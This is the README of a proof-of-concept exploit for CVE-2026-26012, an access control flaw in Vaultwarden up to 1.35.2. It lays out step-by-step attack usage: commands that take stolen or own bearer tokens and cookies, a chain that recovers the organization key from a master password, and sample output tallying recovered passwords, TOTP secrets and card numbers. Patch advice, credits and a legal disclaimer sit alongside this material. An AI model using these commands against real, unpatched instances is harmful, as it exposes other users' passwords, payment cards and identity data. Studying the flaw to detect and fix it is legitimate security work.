
Proof-of-concept exploit for CVE-2026-26012, a broken access control in Vaultwarden that allows any organization member to enumerate and decrypt all ciphers, bypassing collection permissions.
Full Cipher Enumeration Ignoring Organization Collection Permissions
A proof-of-concept exploit for CVE-2026-26012, a broken access control vulnerability in Vaultwarden (<= 1.35.2) that allows any organization member to retrieve and decrypt all ciphers within the organization, regardless of collection-level permissions.
🤖 Note: This project was developed with the assistance of Claude 3 Opus. AI was utilized for code generation, architectural structure, and documentation. All outputs have been manually reviewed and tested for quality assurance.
| CVE | CVE-2026-26012 |
| Advisory | GHSA-h265-g7rm-h337 |
| Affected | Vaultwarden ≤ 1.35.2 |
| Fixed in | 1.35.3 |
| CVSS 3.1 | 6.5 (Medium) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-863 — Incorrect Authorization |
| Credit | Discovered by @odgrso, fixed by @BlackDex |
The API endpoint GET /api/ciphers/organization-details is accessible to any organization member. Internally, it calls Cipher::find_by_org which returns all ciphers in the organization, then serves them with CipherSyncType::Organization without enforcing collection-level access control.
Since all organization ciphers share the same organization encryption key (which every member receives upon joining), the leaked ciphers can be fully decrypted client-side.
Regular org member (restricted to "Public" collection)
│
├── GET /api/sync → 5 ciphers (correct)
│
└── GET /api/ciphers/organization-details
└──→ 47 ciphers (ALL org ciphers — BUG)
└──→ 42 ciphers from restricted collections (LEAKED)
└──→ Decryptable with the org key the member already has
.
├── README.md # This file
├── poc_cve_2026_26012.py # Phase 1: Cipher enumeration & leak detection
├── poc_decrypt.py # Phase 2: Org key recovery & cipher decryption
└── LICENSE
cryptography (for Phase 2 decryption)argon2-cffi (only if the target instance uses Argon2id KDF)pip install cryptography
pip install argon2-cffi # optional
Detects whether the instance is vulnerable by comparing ciphers returned by the normal /api/sync endpoint vs. the vulnerable /api/ciphers/organization-details endpoint.
# Authenticate via browser (SSO + 2FA supported), then pass the Bearer token
python3 poc_cve_2026_26012.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--org-id "ORG-UUID" \
--output results.json
# Bearer token (recommended — works with SSO + 2FA)
--token "eyJhbGciOi..."
# Session cookie
--cookie "VAULTWARDEN_SESSION=abc123..."
# Raw Cookie header (multiple cookies)
--cookie-header "session=abc; token=xyz"
# Direct password login (NO SSO, NO 2FA only)
--email [email protected] --password "MasterPassword"
How to extract your Bearer token:
/api/... and copy the Authorization header value--no-verify-ssl # Skip SSL verification (self-signed certs)
--show-all # Also display legitimately accessible ciphers
--max-display 50 # Max number of leaked ciphers to show (default: 20)
--output results.json # Export full results to JSON
Recovers the organization encryption key and decrypts all leaked ciphers from Phase 1.
python3 poc_decrypt.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--email [email protected] \
--master-password "YourMasterPassword" \
--org-id "ORG-UUID" \
--leaked-json results.json \
--output decrypted.json
Note:
--master-passwordis your Vaultwarden master password, used locally to derive the decryption key chain. It is never sent over the network. The--tokenhandles API authentication.
Troubleshooting: If key decryption fails, add
--debugto see intermediate values at each step. The script automatically tries 5 strategies (HKDF modern, HMAC legacy, raw key, and HMAC-skip variants) to handle different account ages and configurations.
If you already have the 64-byte organization key (128 hex characters):
python3 poc_decrypt.py \
--org-key-hex "aabbccdd...128_hex_chars..." \
--leaked-json results.json \
--output decrypted.json
[*] === Key Recovery Chain ===
[1/6] Fetching KDF parameters...
KDF: PBKDF2-SHA256, iterations: 600000
[2/6] Deriving master key...
[3/6] Stretching master key (HKDF-Expand)...
[4/6] Fetching encrypted keys from /api/sync...
Organization: ACME Corp
[5/6] Decrypting user symmetric key...
[6/6] Decrypting RSA private key → Organization key...
[+] Organization key recovered successfully!
[*] Decrypting 42 cipher(s)...
============================================================
DECRYPTION RESULTS
============================================================
Total: 42
Decrypted: 42
Errors: 0
IMPACT SUMMARY
Passwords recovered: 35
TOTP secrets recovered: 12
Card numbers recovered: 3
============================================================
Every organization member already possesses the organization's symmetric key, encrypted with their RSA public key. The decryption chain is:
Master Password + Email
│ PBKDF2-SHA256 or Argon2id
▼
Master Key (32 bytes)
│ HKDF-Expand-SHA256
▼
Stretched Key: encKey (32B) ║ macKey (32B)
│ AES-256-CBC (decrypts profile.key)
▼
User Symmetric Key: encKey (32B) ║ macKey (32B)
│ AES-256-CBC (decrypts profile.privateKey)
▼
RSA Private Key (2048-bit PKCS#8 DER)
│ RSA-OAEP-SHA1 (decrypts profile.organizations[].key)
▼
Organization Key: encKey (32B) ║ macKey (32B)
│ AES-256-CBC + HMAC-SHA256
▼
Decrypted cipher data
In the Bitwarden/Vaultwarden model, all ciphers in an organization share the same encryption key. Collection-based access control is enforced server-side only — the cryptographic model does not enforce collection boundaries. Any member who has the org key can decrypt any cipher in the organization. This CVE bypasses the server-side filter, exposing all ciphers to any member.
| Cipher Type | Decrypted Fields |
|---|---|
| Login | username, password, TOTP secret, URIs |
| Card | cardholder, number, CVV, expiration |
| Identity | name, SSN, passport, address, phone, email |
| Secure Note | full note content |
| All types | custom fields, attachment metadata |
Update Vaultwarden to 1.35.3 or later immediately.
docker pull vaultwarden/server:1.35.3
After patching, run Phase 1 again to confirm the fix — the tool should report NOT VULNERABLE.
If you were running a vulnerable version in a multi-user organization:
/api/ciphers/organization-detailsThis PoC is published after the vulnerability was publicly disclosed and patched:
This PoC would not exist without the work of the original security researchers and maintainers:
| Role | Who | Contribution |
|---|---|---|
| Vulnerability Reporter | @odgrso | Discovered and responsibly disclosed CVE-2026-26012 |
| Remediation Developer | @BlackDex | Developed and shipped the fix in Vaultwarden 1.35.3 |
| Project Maintainer | @dani-garcia | Vaultwarden creator, coordinated the advisory and release |
Thank you for keeping the open-source ecosystem safer.
This proof of concept is provided strictly for authorized security testing and educational purposes. You must have explicit written authorization before testing any system you do not own. Unauthorized access to computer systems is illegal under the CFAA (US), Computer Misuse Act (UK), and equivalent laws worldwide. The authors assume no liability for misuse.
MIT — See LICENSE.